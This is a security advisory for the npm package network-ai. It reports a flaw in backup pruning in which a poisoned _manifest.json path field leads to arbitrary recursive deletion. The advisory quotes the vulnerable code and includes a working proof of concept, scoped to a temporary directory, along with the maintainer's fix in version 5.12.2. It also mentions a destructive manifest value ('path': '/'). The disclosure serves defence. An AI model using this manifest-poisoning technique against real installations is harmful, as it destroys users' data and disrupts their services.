Skip to content

Poisoned environment backup manifest allows arbitrary recursive deletion during backup pruning

High
Jovancoding published GHSA-2fmp-9rvw-hc96 Jun 18, 2026

Package

npm network-ai (npm)

Affected versions

<= 5.12.1

Patched versions

5.12.2

Description

Summary

EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).

An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1. Severity: High, CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.

Details

listBackups() trusts manifest content from disk:

for (const name of readdirSync(backupsDir)) {
  const manifest = join(backupsDir, name, '_manifest.json');
  if (existsSync(manifest)) {
    try {
      const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
      entries.push(entry);
    } catch { /* corrupt manifest, skip */ }
  }
}

pruneBackups() uses the attacker-controlled entry.path as the deletion target:

const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
  try {
    rmSync(entry.path, { recursive: true, force: true });
    deleted++;
  } catch { /* ignore */ }
}

Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.

Affected source evidence:

  • lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.
  • lib/env-manager.ts:529-541 — recursively deletes entry.path.
  • bin/cli.ts:464-472 — default CLI exposes backup pruning.

PoC

This PoC uses only a temporary directory and deletes only a temporary file:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;

const mgr = new EnvironmentManager(path.join(base, 'data'), {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');

const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
  path.join(backupsDir, 'evil', '_manifest.json'),
  JSON.stringify({
    backupId: 'evil',
    env: 'dev',
    timestamp: '2000-01-01T00:00:00.000Z',
    sizeBytes: 0,
    path: path.join(base, 'victim.txt'),
  })
);

console.log(JSON.stringify({
  before: fs.existsSync(path.join(base, 'victim.txt')),
  deleted: mgr.pruneBackups('dev', 0),
  after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.

Impact

An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.


Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations. Learn more on MITRE.

Credits